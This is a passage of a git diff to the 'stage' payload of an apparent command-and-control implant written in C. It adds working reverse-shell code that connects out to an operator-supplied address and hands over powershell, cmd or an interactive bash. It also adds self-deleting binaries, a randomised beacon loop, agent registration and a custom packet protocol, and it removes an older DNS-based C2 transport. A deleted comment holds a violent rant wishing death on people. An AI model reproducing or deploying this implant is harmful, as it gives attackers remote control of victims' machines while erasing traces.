+  char           *target = packet->data, *host = NULL;
+  struct sockaddr revaddr;
+  uint16_t        port = 0;
+
+  if (NULL == target) {
+    debug("no address specified");
+    cmd_failure(agent, "no address specified", 0);
+    return false;
+  }
+
+  if (!parse_addr(target, &host, &port)) {
+    debug("failed to parse the address (%s)", target);
+    cmd_failure(agent, "failed to parse the address", 0);
+    return false;
+  }
+
+  if (!resolve(&revaddr, target, port)) {
+    debug("bad address");
+    cmd_failure(agent, "bad address", 0);
+    return false;
+  }
+
+#ifdef _WIN32
+  SOCKET              revsock;
+  PROCESS_INFORMATION revproc;
+  STARTUPINFO         revstart;
+
+  if ((revsock = WSASocket(revaddr.sa_family, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET) {
+    debug("failed to create a socket");
+    cmd_failure(agent, "failed to create a socket", 0);
+    return false;
+  }
+
+  if (WSAConnect(revsock, (SOCKADDR *)&revaddr, sizeof(revaddr), NULL, NULL, NULL, NULL) != 0) {
+    debug("failed to connect");
+    cmd_failure(agent, "failed to connect", 0);
+    return false;
+  }
+
+  fprintfsock(revsock, "[+] connected! you are running as PID %d\n", getpid());
+  fprintfsock(revsock, "[*] executing an avaliable shell\n");
+
+  bzero(&revstart, sizeof(revstart));
+  revstart.cb        = sizeof(revstart);
+  revstart.dwFlags   = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+  revstart.hStdInput = revstart.hStdOutput = revstart.hStdError = (HANDLE)revsock;
+
+  if (CreateProcess(NULL, "powershell.exe", NULL, NULL, TRUE, 0, NULL, NULL, &revstart, &revproc) == 0) {
+    fprintfsock(revsock, "[-] failed to execute powershell, trying cmd\n");
+    if (CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &revstart, &revproc) == 0) {
+      fprintfsock(revsock, "[-] failed to execute cmd\n");
+      fprintfsock(revsock, "[-] closing connection because there were no avaliable shells\n");
+
+      debug("failed to run a shell");
+      cmd_failure(agent, "failed to run a shell", 0);
+      return false;
+    }
+  }
+
+  closesocket(revsock);
+#else
+
+  int   revsock;
+  pid_t pid;
+
+  revsock = socket(revaddr.sa_family, SOCK_STREAM, IPPROTO_TCP);
+
+  if (connect(revsock, (struct sockaddr *)&revaddr, sizeof(revaddr)) < 0) {
+    debug("connect failed (%s)", strerror(errno));
+    cmd_failure(agent, "connect failed", 0);
+    return false;
+  }
+
+  dprintf(revsock, "[+] connected! you are running as PID %d\n", getpid());
+  dprintf(revsock, "[*] executing an avaliable shell\n");
+
+  pid = fork();
+
+  if (pid == 0) {
+    dup2(revsock, STDOUT_FILENO);
+    dup2(revsock, STDERR_FILENO);
+    dup2(revsock, STDIN_FILENO);
+
+    char *argv[] = {"bash", "-i", NULL};
+    execvp("bash", argv);
+
+    // if bash is not found execute sh
+    dprintf(revsock, "[-] failed to execute bash, trying sh\n");
+    argv[0] = "sh";
+    execvp("sh", argv);
+
+    // if sh is not found just exit
+    dprintf(revsock, "[-] failed to execute sh\n");
+    dprintf(revsock, "[-] closing connection because there were no avaliable shells\n");
+
+    close(revsock);
+    exit(0);
+  }
+
+  close(revsock);
+#endif
+
+  if (!cmd_success(agent, "success", 0)) {
+    debug("failed to send the run command result");
+    return false;
+  }
+
+  return true;
+}
diff --git a/payloads/stage/src/cmd/success.c b/payloads/stage/src/cmd/success.c
new file mode 100644
index 0000000..05836aa
--- /dev/null
+++ b/payloads/stage/src/cmd/success.c
@@ -0,0 +1,16 @@
+#include "../cmd.h"
+#include "../util.h"
+
+bool cmd_success(agent_t *agent, char *data, uint8_t data_size) {
+  packet_t packet;
+  bool     ret = false;
+
+  packet_set_flags(&packet, PACKET_TYPE_REQ, CMD_SUCCESS);
+  packet_set_data(&packet, data, data_size);
+
+  if (!(ret = agent_send(agent, &packet)))
+    debug("failed to send the success command");
+
+  packet_free(&packet);
+  return ret;
+}
diff --git a/payloads/stage/src/config.h b/payloads/stage/src/config.h
deleted file mode 100644
index d921382..0000000
--- a/payloads/stage/src/config.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#pragma once
-
-#include <stdbool.h>
-
-#define SERVER_ADDRESS "127.0.0.1"
-#define SERVER_PORT 1053
-#define ID "4HBtxn3LxE5apvmAjBgZRb5lvJPWysm"
-#define DEBUG true
diff --git a/payloads/stage/src/log.c b/payloads/stage/src/log.c
deleted file mode 100644
index afb117e..0000000
--- a/payloads/stage/src/log.c
+++ /dev/null
@@ -1,18 +0,0 @@
-#include <stdarg.h>
-#include <stdio.h>
-
-#include "config.h"
-
-void debug(const char *msg, ...) {
-  if (!DEBUG)
-    return;
-
-  va_list args;
-  va_start(args, msg);
-
-  printf("[debug] ");
-  vprintf(msg, args);
-  printf("\n");
-
-  va_end(args);
-}
diff --git a/payloads/stage/src/log.h b/payloads/stage/src/log.h
deleted file mode 100644
index 908411e..0000000
--- a/payloads/stage/src/log.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void debug(const char *msg, ...);
diff --git a/payloads/stage/src/main.c b/payloads/stage/src/main.c
index 20833d6..74598ed 100644
--- a/payloads/stage/src/main.c
+++ b/payloads/stage/src/main.c
@@ -22,31 +22,13 @@
 // clang-format on
 
 #ifdef _WIN32
-// fuck you windows fuck you shit OS fuck windows fuck microsoft I fucking hate windows
-// I hope microsoft goes bankrupt and everybody ever worked for microsoft gets tortured
-// for the rest of their life fuck capitalism and all of it supporters also fuck all
-// the "1st" world countries that manipulate and control their people like pupets
-// I hope people working for those goverments also fucking die fuck the world fuck
-// everything I fucking hope an astreoid crashes to the earth and we all fucking die
-
-// anyway where was I?
-// oh - windows specific headers
-
-// make sure clang doesnt place windows.h before winsock2.h
 // clang-format off
-// yes winsock2 needs to be included before windows.h
 #include <winsock2.h>
 #include <windows.h>
-// clang-format on 
-#else
-// linux specific headers
-#include <arpa/inet.h>
-#include <netdb.h>
-#include <netinet/in.h>
-#include <netinet/ip.h>
-#include <sys/socket.h>
+// clang-format on
 #endif
 #include <errno.h>
+#include <limits.h>
 #include <signal.h>
 #include <stdbool.h>
 #include <stdlib.h>
@@ -54,68 +36,20 @@
 #include <time.h>
 #include <unistd.h>
 
-#include "client.h"
-#include "config.h"
-#include "log.h"
+#include "agent.h"
+#include "cmd.h"
 #include "util.h"
 
 #define SLEEP_MAX 10
 #define SLEEP_MIN 3
 
-static struct sockaddr *addrp;
-static int              sockfd;
-
-bool loop() {
-  res_t res;
-
-  client_request(sockfd, addrp, REQ_WORK, "Anything to do?");
-  client_recv(sockfd, addrp, &res);
-
-  switch (res.code) {
-  // there is no work to do
-  case RES_NOTNOW:
-    break;
-
-  // server is requesting for client info
-  case RES_INFO:
-    debug("new work: info");
-    client_info(sockfd, addrp);
-    break;
-
-  case RES_RUN:
-    debug("new work: run");
-    client_run(sockfd, addrp, res.arg);
-    break;
-
-  case RES_KILL:
-    debug("new work: kill");
-    client_kill(sockfd, addrp);
-    break;
-
-  case RES_FAIL:
-    debug("got failure response code, will try to register again");
-    strcpy(session, ID);
-    client_register(sockfd, addrp);
-    break;
-
-  case RES_OK:
-    debug("received OK response code, probably a work didn't handle it correctly");
-    break;
-
-  // unknown response
-  default:
-    debug("unknown response code: %c", res.code);
-    break;
-  }
-
-  return true;
-}
+agent_t agent;
 
 void end(int sig) {
   if (sig == SIGSEGV)
     debug("received segfault");
 
-  close(sockfd);
+  agent_disconnect(&agent);
 #ifdef _WIN32
   WSACleanup();
 #endif
@@ -123,6 +57,8 @@ void end(int sig) {
 }
 
 int main(int argc, char **argv) {
+  int ret = EXIT_FAILURE;
+
   // used for cleaning up the program
 #ifndef _WIN32
   signal(SIGTRAP, end);
@@ -132,36 +68,38 @@ int main(int argc, char **argv) {
   signal(SIGINT, end);
 
   // setup inital vars, seed the pseudo rng
-  int ret = EXIT_FAILURE;
   srand(time(NULL));
 
   // self delete
 #ifdef _WIN32
-  HANDLE shandle = CreateFile(argv[0], DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-  if(INVALID_HANDLE_VALUE == shandle){
+  char selfpath[MAX_PATH];
+  GetModuleFileNameA(NULL, selfpath, MAX_PATH);
+
+  HANDLE shandle = CreateFile(selfpath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+  if (INVALID_HANDLE_VALUE == shandle) {
     debug("failed to get handle for self");
     goto cont;
   }
 
   FILE_RENAME_INFO rename_info;
-  wchar_t *name = L":lmao";
-  ssize_t rename_size = sizeof(rename_info)+sizeof(name);
+  wchar_t         *name        = L":lmao";
+  ssize_t          rename_size = sizeof(rename_info) + sizeof(name);
 
   bzero(&rename_info, sizeof(rename_info));
 
   rename_info.FileNameLength = sizeof(name);
-  memcpy(rename_info.FileName, name, sizeof(name));
+  RtlCopyMemory(rename_info.FileName, name, sizeof(name));
 
-  if(SetFileInformationByHandle(shandle, FileRenameInfo, &rename_info, rename_size)==0){
+  if (SetFileInformationByHandle(shandle, FileRenameInfo, &rename_info, rename_size) == 0) {
     debug("failed to set rename info for self");
     CloseHandle(shandle);
     goto cont;
   }
 
   CloseHandle(shandle);
-  
+
   shandle = CreateFile(argv[0], DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-  if(INVALID_HANDLE_VALUE == shandle){
+  if (INVALID_HANDLE_VALUE == shandle) {
     debug("failed to get handle for self");
     goto cont;
   }
@@ -170,7 +108,7 @@ int main(int argc, char **argv) {
   bzero(&del_info, sizeof(del_info));
   del_info.DeleteFile = true;
 
-  if(SetFileInformationByHandle(shandle, FileDispositionInfo, &del_info, sizeof(del_info))==0){
+  if (SetFileInformationByHandle(shandle, FileDispositionInfo, &del_info, sizeof(del_info)) == 0) {
     debug("failed to set disposition info for self");
     CloseHandle(shandle);
     goto cont;
@@ -178,68 +116,28 @@ int main(int argc, char **argv) {
 
   CloseHandle(shandle);
 #else
-  if(unlink(argv[0])<=0){
-    debug("failed to unlink self");
+  char selfpath[PATH_MAX];
+
+  if (readlink("/proc/self/exe", selfpath, PATH_MAX) < 0) {
+    debug("failed to readlink of /proc/self/exe");
     goto cont;
   }
-#endif
 
-cont:
-#ifdef _WIN32
-  // apperantly we need this to init winsock
-  // "The WSAStartup function initiates use of the Winsock DLL by a process."
-  WSADATA wsa_data;
-  if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != NO_ERROR) {
-    debug("failed to initiate winsock");
-    return EXIT_FAILURE;
+  if (unlink(selfpath) != 0) {
+    debug("failed to unlink self");
+    goto cont;
   }
 #endif
 
-  // create and setup the socket
-  sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
-  if (sockfd == -1) {
-    debug("failed to create a socket: %s", strerror(errno));
-    return EXIT_FAILURE;
-  }
-
-  if (!client_setup_socket(sockfd))
-    goto end;
-
-  // connect to the C2 server
-  struct sockaddr_in addr;
-  addrp = (struct sockaddr *)&addr;
-  bzero(&addr, sizeof(addr));
-
-  struct hostent *host;
-  host = gethostbyname(SERVER_ADDRESS); // yes I know its deprecated - now stfu and ky$ thx
-
-  if (host->h_addrtype != AF_INET) {
-    debug("bad addrtype for host");
-    goto end;
-  }
-
-  if (host->h_addr_list[0] == NULL) {
-    debug("failed to resolve host");
+cont:
+  if (!agent_connect(&agent))
     goto end;
-  }
-
-  addr.sin_addr.s_addr = *(long *)(host->h_addr_list[0]);
-  addr.sin_family      = AF_INET;
-  addr.sin_port        = htons(SERVER_PORT);
 
-  if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-    debug("failed to connect: %s", strerror(errno));
+  if (!cmd_register(&agent))
     goto end;
-  }
-
-  // first we should register
-  // during registeration session = id
-  strcpy(session, ID);
-  if (!client_register(sockfd, addrp))
-    return false;
 
   while (true) {
-    if (!loop())
+    if (!cmd_handle(&agent))
       break;
     sleep(randint(SLEEP_MIN, SLEEP_MAX));
   }
@@ -248,7 +146,7 @@ int main(int argc, char **argv) {
   ret = EXIT_SUCCESS;
 
 end:
-  close(sockfd);
+  agent_disconnect(&agent);
 #ifdef _WIN32
   WSACleanup();
 #endif
diff --git a/payloads/stage/src/packet.c b/payloads/stage/src/packet.c
index b801909..64af1db 100644
--- a/payloads/stage/src/packet.c
+++ b/payloads/stage/src/packet.c
@@ -10,227 +10,100 @@
 #include <stdlib.h>
 #include <string.h>
 
-#include "log.h"
 #include "packet.h"
 #include "util.h"
 
-void packet_alloc(dns_packet_t *p) {
-  p->questions = malloc(sizeof(dns_qd_t) * p->header.qdcount);
-  p->answers   = malloc(sizeof(dns_rr_t) * p->header.ancount);
-
-  // these are not really needed (we dont use them for c2 communcation), but might as well
-  // yknow just in case...
-  p->authorities = malloc(sizeof(dns_rr_t) * p->header.nscount);
-  p->additionals = malloc(sizeof(dns_rr_t) * p->header.arcount);
+void packet_free(packet_t *packet) {
+  free(packet->data);
+  packet->header.size = 0;
+  packet->data        = NULL;
 }
 
-void packet_free(dns_packet_t *p) {
-  for (int i = 0; i < p->header.qdcount; i++) {
-    if (p->questions[i].qname == NULL)
-      continue;
-
-    char **cur = p->questions[i].qname;
-    int    j   = 0;
+void packet_set_flags(packet_t *packet, uint8_t type, uint8_t cmd) {
+  packet->header.flags = 0;
 
-    for (; cur[j] != NULL; j++)
-      free(cur[j]);
-    free(cur);
-  }
-  free(p->questions);
-
-  for (int i = 0; i < p->header.ancount; i++) {
-    free(p->answers[i].name);
-    free(p->answers[i].rdata);
-  }
-  free(p->answers);
-
-  for (int i = 0; i < p->header.nscount; i++) {
-    free(p->authorities[i].name);
-    free(p->authorities[i].rdata);
-  }
-  free(p->authorities);
-
-  for (int i = 0; i < p->header.arcount; i++) {
-    free(p->authorities[i].name);
-    free(p->authorities[i].rdata);
-  }
-  free(p->additionals);
+  packet->header.flags |= (cmd & 0b1111);
+  packet->header.flags |= (type & 1) << 4;
+  packet->header.flags |= (PACKET_VERSION & 0b111) << 5;
 }
 
-bool packet_copy_rr(dns_rr_t *rr, char *buffer, ssize_t *buffer_total, ssize_t *buffer_used) {
-  for (char *c = buffer + *buffer_used; *c != 0; c++) {
-    (*buffer_used)++;
-    if (*buffer_used >= *buffer_total) {
-      debug("failed to pass the qname for the buffer");
-      return false;
-    }
+void packet_set_data(packet_t *packet, char *data, uint8_t size) {
+  if (size == 0 && NULL == data) {
+  no_alloc:
+    packet->data        = NULL;
+    packet->header.size = 0;
+    return;
   }
-  (*buffer_used)++;
 
-  rr->name = NULL;
-  copy_from_buffer(&rr->type, buffer, sizeof(rr->type), buffer_total, buffer_used);
-  copy_from_buffer(&rr->class, buffer, sizeof(rr->class), buffer_total, buffer_used);
-  copy_from_buffer(&rr->ttl, buffer, sizeof(rr->ttl), buffer_total, buffer_used);
+  if (size == 0) {
+    ssize_t _size = strlen(data);
 
-  if (!copy_from_buffer(&rr->rdlength, buffer, sizeof(rr->rdlength), buffer_total, buffer_used)) {
-    debug("failed to read the rdlength from the buffer");
-    return false;
+    if (_size > UINT8_MAX)
+      size = UINT8_MAX;
+    else if (_size == 0)
+      goto no_alloc;
+    else
+      size = _size;
   }
 
-  rr->type  = ntohs(rr->type);
-  rr->class = ntohs(rr->class);
-  rr->ttl   = ntohl(rr->ttl);
-
-  rr->rdlength = ntohs(rr->rdlength);
-
-  if (rr->rdlength > *buffer_total - *buffer_used) {
-    debug("bad rdlength (%d)", rr->rdlength);
-    return false;
-  }
+  packet->header.size = size;
+  packet->data        = malloc(size + 1);
 
-  // pass the TXT length field
-  if (rr->type == 16) {
-    (*buffer_used)++;
-    rr->rdlength--;
-  }
-
-  // alloc memory for the actual data
-  rr->rdata = malloc(rr->rdlength);
-
-  if (!copy_from_buffer(rr->rdata, buffer, rr->rdlength, buffer_total, buffer_used)) {
-    debug("failed to read the rdata from the buffer");
-    free(rr->rdata);
-    return false;
-  }
-
-  return true;
+  bzero(packet->data, size + 1);
+  memcpy(packet->data, data, size);
 }
 
-bool packet_send(int s, struct sockaddr *addr, dns_packet_t *packet) {
-  ssize_t      total = UDP_LIMIT, used = 0;
-  char         buffer[total];
-  dns_packet_t copy;
+bool packet_send(packet_t *packet, int s) {
+  char buffer[PACKET_MAX_SIZE], *bufp = buffer;
 
-  copy.header.id      = htons(packet->header.id);
-  copy.header.flags   = htons(packet->header.flags);
-  copy.header.qdcount = htons(packet->header.qdcount);
-  copy.header.ancount = htons(packet->header.ancount);
-  copy.header.nscount = htons(packet->header.nscount);
-  copy.header.arcount = htons(packet->header.arcount);
+  packet->header.session = htonl(packet->header.session);
+  packet->header.job_id  = htons(packet->header.job_id);
 
-  if (!copy_to_buffer(buffer, &copy.header, sizeof(copy.header), &total, &used)) {
-    debug("failed to copy header to the buffer (possible overflow)");
-    return false;
-  }
+  bufp = copy_to(bufp, &packet->header, sizeof(packet->header));
+  bufp = copy_to(bufp, packet->data, packet->header.size);
 
-  for (int i = 0; i < packet->header.qdcount; i++) {
-    dns_qd_t *cur = &packet->questions[0];
-    dns_qd_t  curcp;
-
-    char qname[NAME_LIMIT + 1];
-    int  qsize = name_to_qname(qname, cur->qname);
-    if (qsize <= 0) {
-      debug("failed to convert name to qname");
-      return false;
-    }
-
-    curcp.qtype  = htons(cur->qtype);
-    curcp.qclass = htons(cur->qclass);
-
-    copy_to_buffer(buffer, qname, qsize, &total, &used);
-    copy_to_buffer(buffer, &curcp.qtype, sizeof(curcp.qtype), &total, &used);
-    copy_to_buffer(buffer, &curcp.qclass, sizeof(curcp.qclass), &total, &used);
-  }
+  dump(buffer, bufp - buffer);
 
-  if (sendto(s, buffer, used, 0, addr, sizeof(struct sockaddr_in)) <= 0) {
-    debug("sendto failed: %s", strerror(errno));
+  if (send(s, buffer, bufp - buffer, 0) <= 0) {
+    debug("send failed: %s", strerror(errno));
     return false;
   }
 
   return true;
 }
 
-bool packet_recv(int s, struct sockaddr *addr, dns_packet_t *packet) {
-  ssize_t total = UDP_LIMIT, used = 0;
-  char    buffer[total];
-
-  unsigned int addrlen = sizeof(struct sockaddr_in); // socklen_t
-  bool         ret     = false;
+bool packet_recv(packet_t *packet, int s) {
+  char    buffer[PACKET_MAX_SIZE], *bufp = buffer;
+  int64_t size = 0;
 
 #ifdef _WIN32
-  if ((total = recvfrom(s, buffer, UDP_LIMIT, 0, addr, &addrlen)) == SOCKET_ERROR) {
+  if ((size = recv(s, buffer, PACKET_MAX_SIZE, 0)) == SOCKET_ERROR) {
 #else
-  if ((total = recvfrom(s, buffer, UDP_LIMIT, 0, addr, &addrlen)) <= 0) {
+  if ((size = recv(s, buffer, PACKET_MAX_SIZE, 0)) <= 0) {
 #endif
-    debug("recvfrom failed: %s", strerror(errno));
-    return ret;
+    debug("recv failed: %s", strerror(errno));
+    return false;
   }
 
-  if (!copy_from_buffer(&packet->header, buffer, sizeof(packet->header), &total, &used)) {
-    debug("failed to copy buffer to the head (possible overflow)");
-    return ret;
-  }
+  dump(buffer, size);
 
-  packet->header.qdcount = ntohs(packet->header.qdcount);
-  packet->header.ancount = ntohs(packet->header.ancount);
-  packet->header.nscount = ntohs(packet->header.nscount);
-  packet->header.arcount = ntohs(packet->header.arcount);
-
-  packet_alloc(packet);
-  dns_qd_t question; // temporary, just used for "sizeof"
-
-  for (int i = 0; i < packet->header.qdcount; i++) {
-    // we dont actually need to parse the questions
-    // they are not required for the c2 communcation
-
-    // however they are "in the way" of the answers section
-    // sooo lets just quickly go over them, shall we?
-    packet->questions[i].qname = NULL;
-
-    for (char *c = buffer + used; *c != 0; c++) {
-      used++;
-      if (used >= total) {
-        debug("failed to pass the qname for the question %d", i);
-        goto end;
-      }
-    }
-    used++;
-
-    used += sizeof(question.qtype) + sizeof(question.qclass);
-    if (used > total) {
-      debug("pakcet is to small for the rest of the question %d", i);
-      goto end;
-    }
-  }
+  bufp = copy_from(&packet->header, bufp, sizeof(packet->header));
 
-  for (int i = 0; i < packet->header.ancount; i++) {
-    dns_rr_t *cur = &packet->answers[i];
-    if (!packet_copy_rr(cur, buffer, &total, &used)) {
-      debug("failed to read the %d. answer", i);
-      goto end;
-    }
-  }
+  packet->header.session = ntohl(packet->header.session);
+  packet->header.job_id  = ntohs(packet->header.job_id);
 
-  for (int i = 0; i < packet->header.nscount; i++) {
-    dns_rr_t *cur = &packet->authorities[i];
-    if (!packet_copy_rr(cur, buffer, &total, &used)) {
-      debug("failed to read the %d. authority", i);
-      goto end;
-    }
+  if (packet_version(packet) != PACKET_VERSION) {
+    debug("version mismatch");
+    return false;
   }
 
-  for (int i = 0; i < packet->header.arcount; i++) {
-    dns_rr_t *cur = &packet->additionals[i];
-    if (!packet_copy_rr(cur, buffer, &total, &used)) {
-      debug("failed to read the %d. additional", i);
-      goto end;
-    }
+  if ((packet->data = malloc(packet->header.size + 1)) == NULL) {
+    debug("failed to allocate data buffer (size: %u)", packet->header.size);
+    return false;
   }
 
-  ret = true;
+  bzero(packet->data, packet->header.size + 1);
+  bufp = copy_from(packet->data, bufp, packet->header.size);
 
-end:
-  if (!ret)
-    packet_free(packet);
-  return ret;
+  return true;
 }
diff --git a/payloads/stage/src/packet.h b/payloads/stage/src/packet.h
index 11740e0..5cb8c6a 100644
--- a/payloads/stage/src/packet.h
+++ b/payloads/stage/src/packet.h
@@ -1,51 +1,35 @@
 #pragma once
 
+#include <stdbool.h>
 #include <stddef.h>
 #include <stdint.h>
-#ifdef _WIN32
-#include <winsock2.h>
-#else
-#include <sys/socket.h>
-#endif
-
-#define REQ_LABEL_LEN 4
-#define LABEL_LIMIT 63
-#define NAME_LIMIT 255
-#define UDP_LIMIT 512
-
-typedef struct dns_header {
-  uint16_t id;
-  uint16_t flags;
-  uint16_t qdcount;
-  uint16_t ancount;
-  uint16_t nscount;
-  uint16_t arcount;
-} dns_header_t;
-
-typedef struct dns_qd {
-  char   **qname;
-  uint16_t qtype;
-  uint16_t qclass;
-} dns_qd_t;
-
-typedef struct dns_rr {
-  char    *name;
-  uint16_t type;
-  uint16_t class;
-  uint32_t ttl;
-  uint16_t rdlength;
-  char    *rdata;
-} dns_rr_t;
-
-typedef struct dns_packet {
-  dns_header_t header;
-  dns_qd_t    *questions;
-  dns_rr_t    *answers;
-  dns_rr_t    *authorities;
-  dns_rr_t    *additionals;
-} dns_packet_t;
-
-void packet_alloc(dns_packet_t *p);
-void packet_free(dns_packet_t *p);
-bool packet_send(int s, struct sockaddr *addr, dns_packet_t *packet);
-bool packet_recv(int s, struct sockaddr *addr, dns_packet_t *packet);
+
+#define PACKET_MAX_SIZE (255 + 4 + 3)
+#define PACKET_VERSION 0
+
+typedef enum {
+  PACKET_TYPE_REQ = 0,
+  PACKET_TYPE_RES = 1,
+} packet_type_t;
+
+typedef struct {
+  struct {
+    uint8_t  flags;   // version (3 bits), 1 (type), 4 (command)
+    uint32_t session; // agent session
+    uint16_t job_id;  // ID of the job assoicated with this packet
+    uint8_t  size;    // data size
+  } __attribute__((packed)) header;
+  char                     *data;
+} __attribute__((packed)) packet_t;
+
+#define packet_version(p) ((p)->header.flags >> 5)
+#define packet_type(p) ((p)->header.flags >> 4) & 1)
+#define packet_cmd(p) ((p)->header.flags & 0b1111)
+
+void packet_free(packet_t *packet);
+
+void packet_set_flags(packet_t *packet, uint8_t type, uint8_t cmd);
+void packet_set_data(packet_t *packet, char *data, uint8_t size);
+
+bool packet_send(packet_t *packet, int s);
+bool packet_recv(packet_t *packet, int s);
diff --git a/payloads/stage/src/util.c b/payloads/stage/src/util.c
index ab7323d..1993cbe 100644
--- a/payloads/stage/src/util.c
+++ b/payloads/stage/src/util.c
@@ -1,142 +1,215 @@
 #ifdef _WIN32
+// clang-format off
 #include <winsock2.h>
+#include <ws2tcpip.h>
+#include <ws2def.h>
+#include <windows.h>
+// clang-format on
 #else
 #include <arpa/inet.h>
+#include <netdb.h>
 #include <netinet/in.h>
+#include <sys/socket.h>
 #endif
+
+#include <errno.h>
 #include <stdarg.h>
 #include <stdbool.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <strings.h>
+#include <sys/types.h>
 #include <unistd.h>
 
-#include "log.h"
 #include "packet.h"
 #include "util.h"
 
+void print_debug(const char *func, const char *msg, ...) {
+  if (!STAGE_DEBUG)
+    return;
+
+  va_list args;
+  va_start(args, msg);
+
+  printf("[debug] (%s) ", func);
+  vprintf(msg, args);
+  printf("\n");
+
+  va_end(args);
+}
+
+void print_debug_dump(const char *func, char *buf, uint64_t size) {
+  if (!STAGE_DEBUG)
+    return;
+
+  uint64_t i          = 0;
+  int      title_size = printf("------------- %s dumping %p -------------\n", func, buf);
+
+  for (i = 0; i < size; i++) {
+    if (i % 10 == 0 || i == 0)
+      printf(i == 0 ? "0x%08lx: " : "\n0x%08lx: ", i);
+
+    printf("0x%02x ", (unsigned char)buf[i]);
+
+    if (size - 1 == i)
+      printf("\n");
+  }
+
+  for (i = 0; i < title_size - 1; i++) // -1 for \n
+    printf("-");
+  printf("\n");
+}
+
 int randint(int min, int max) {
   return min + rand() % (max + 1 - min);
 }
 
-int name_to_qname(char *qname, char **name) {
-  int len = 0, indx = 0;
-  bzero(qname, NAME_LIMIT + 1);
+void *copy_to(void *dst, void *src, uint64_t size) {
+  memcpy(dst, src, size);
+  return dst + size;
+}
 
-  for (int i = 0; name[i] != NULL; i++) {
-    len = strlen(name[i]);
+void *copy_from(void *dst, void *src, uint64_t size) {
+  memcpy(dst, src, size);
+  return src + size;
+}
 
-    if (len > LABEL_LIMIT) {
-      // label is too large
-      return -1;
-    }
+#ifdef _WIN32
+// https://ao.ngn.tf/questions/8776103/how-to-redirect-fprintf-output-to-c-socket
+void fprintfsock(SOCKET sock, const char *fmt, ...) {
+  va_list args;
+  va_start(args, fmt);
 
-    if (indx + len + 1 > NAME_LIMIT) {
-      // name is too large
-      return -1;
-    }
+  int  len = vsnprintf(0, 0, fmt, args);
+  char buf[len + 1];
+  bzero(buf, len + 1);
 
-    qname[indx++] = len;
-    memcpy(qname + indx, name[i], len);
-    indx += len;
-  }
+  va_start(args, fmt);
+  vsnprintf(buf, len + 1, fmt, args);
 
-  qname[indx] = 0;
-  return indx + 1;
+  send(sock, buf, len, 0);
 }
+#endif
 
-bool parse_addr(char *addr, struct sockaddr_in *ret) {
-  char   *host = NULL, port[6], *c = NULL;
-  ssize_t indx = 0;
+bool resolve(struct sockaddr *saddr, char *addr, uint16_t port) {
+  if (NULL == saddr || NULL == addr) {
+    errno = EINVAL;
+    return false;
+  }
 
-  for (c = addr; *c != ':'; c++) {
-    if (*c == 0)
-      return false;
+  struct addrinfo *res = NULL, *cur = NULL;
+  bool             ret = false;
 
-    if (NULL == host)
-      host = malloc(indx + 1);
-    else
-      host = realloc(host, indx + 1);
+  if (getaddrinfo(addr, NULL, NULL, &res) != 0)
+    goto end;
 
-    host[indx++] = *c;
-    host[indx]   = 0;
+  if (NULL == res)
+    goto end;
+
+  for (cur = res; cur != NULL; cur = cur->ai_next) {
+    if (AF_INET == cur->ai_family || AF_INET6 == cur->ai_family)
+      break;
   }
 
-  indx = 0;
-  c++;
+  if (NULL == cur)
+    goto end;
 
-  for (; *c != 0; c++) {
-    if (indx + 1 >= 6) {
-      free(host);
-      return false;
-    }
+  memcpy(saddr, cur->ai_addr, sizeof(struct sockaddr));
 
-    port[indx++] = *c;
-    port[indx]   = 0;
+  if (port == 0) {
+    ret = true;
+    goto end;
   }
 
-  ret->sin_addr.s_addr = inet_addr(host);
-  free(host);
+  switch (saddr->sa_family) {
+  case AF_INET:
+    ((struct sockaddr_in *)saddr)->sin_port = htons(port);
+    break;
 
-  if (atoi(port) > UINT16_MAX || atoi(port) <= 0)
-    return false;
+  case AF_INET6:
+    ((struct sockaddr_in6 *)saddr)->sin6_port = htons(port);
+    break;
 
-  ret->sin_port = htons(atoi(port));
-  return true;
-}
+  default:
+    errno = EPROTONOSUPPORT;
+    goto end;
+  }
 
-char rot13_char(char c) {
-  if (c >= 'A' && c <= 'Z')
-    return 'A' + ((c - 'A' + 13) % 26);
-  else if (c >= 'a' && c <= 'z')
-    return 'a' + ((c - 'a' + 13) % 26);
-  return c;
+  ret = true;
+end:
+  freeaddrinfo(res);
+  return ret;
 }
 
-void rot13(char *rot) {
-  int len = strlen(rot);
-  for (int i = 0; i < len; i++)
-    rot[i] = rot13_char(rot[i]);
-}
+#ifndef _WIN32
+char *get_distro() {
+  char    *line = NULL, *distro = NULL, *c = NULL;
+  uint64_t line_size = 0;
+  FILE    *distf     = NULL;
 
-bool copy_to_buffer(void *buffer, void *src, size_t size, ssize_t *total, ssize_t *used) {
-  if (*used + size > *total)
-    return false;
+  if ((distf = fopen("/etc/os-release", "r")) == NULL)
+    return NULL;
 
-  if (*used == 0)
-    bzero(buffer, *total);
+  if (getline(&line, &line_size, distf) <= 1)
+    goto fail;
 
-  memcpy(buffer + *used, src, size);
-  *used += size;
-  return true;
-}
+  for (c = line;; c++) {
+    if (*c == 0)
+      goto fail;
 
-bool copy_from_buffer(void *dst, void *buffer, size_t size, ssize_t *total, ssize_t *used) {
-  if (*used + size > *total)
-    return false;
+    if (c == line)
+      continue;
+
+    if (*c == '"' && *(c - 1) == '=') {
+      distro = strdup(++c);
+      break;
+    }
+  }
 
-  if (*used == 0)
-    bzero(dst, size);
+  for (c = distro; *c != '"'; c++)
+    if (*c == 0)
+      goto fail;
 
-  memcpy(dst, buffer + *used, size);
-  *used += size;
-  return true;
+  *c = 0;
+  goto end;
+
+fail:
+  free(distro);
+  distro = NULL;
+end:
+  free(line);
+  return distro;
 }
+#endif
 
-#ifdef _WIN32
-// https://ao.ngn.tf/questions/8776103/how-to-redirect-fprintf-output-to-c-socket
-void fprintfsock(SOCKET sock, const char *fmt, ...) {
-  va_list args;
-  va_start(args, fmt);
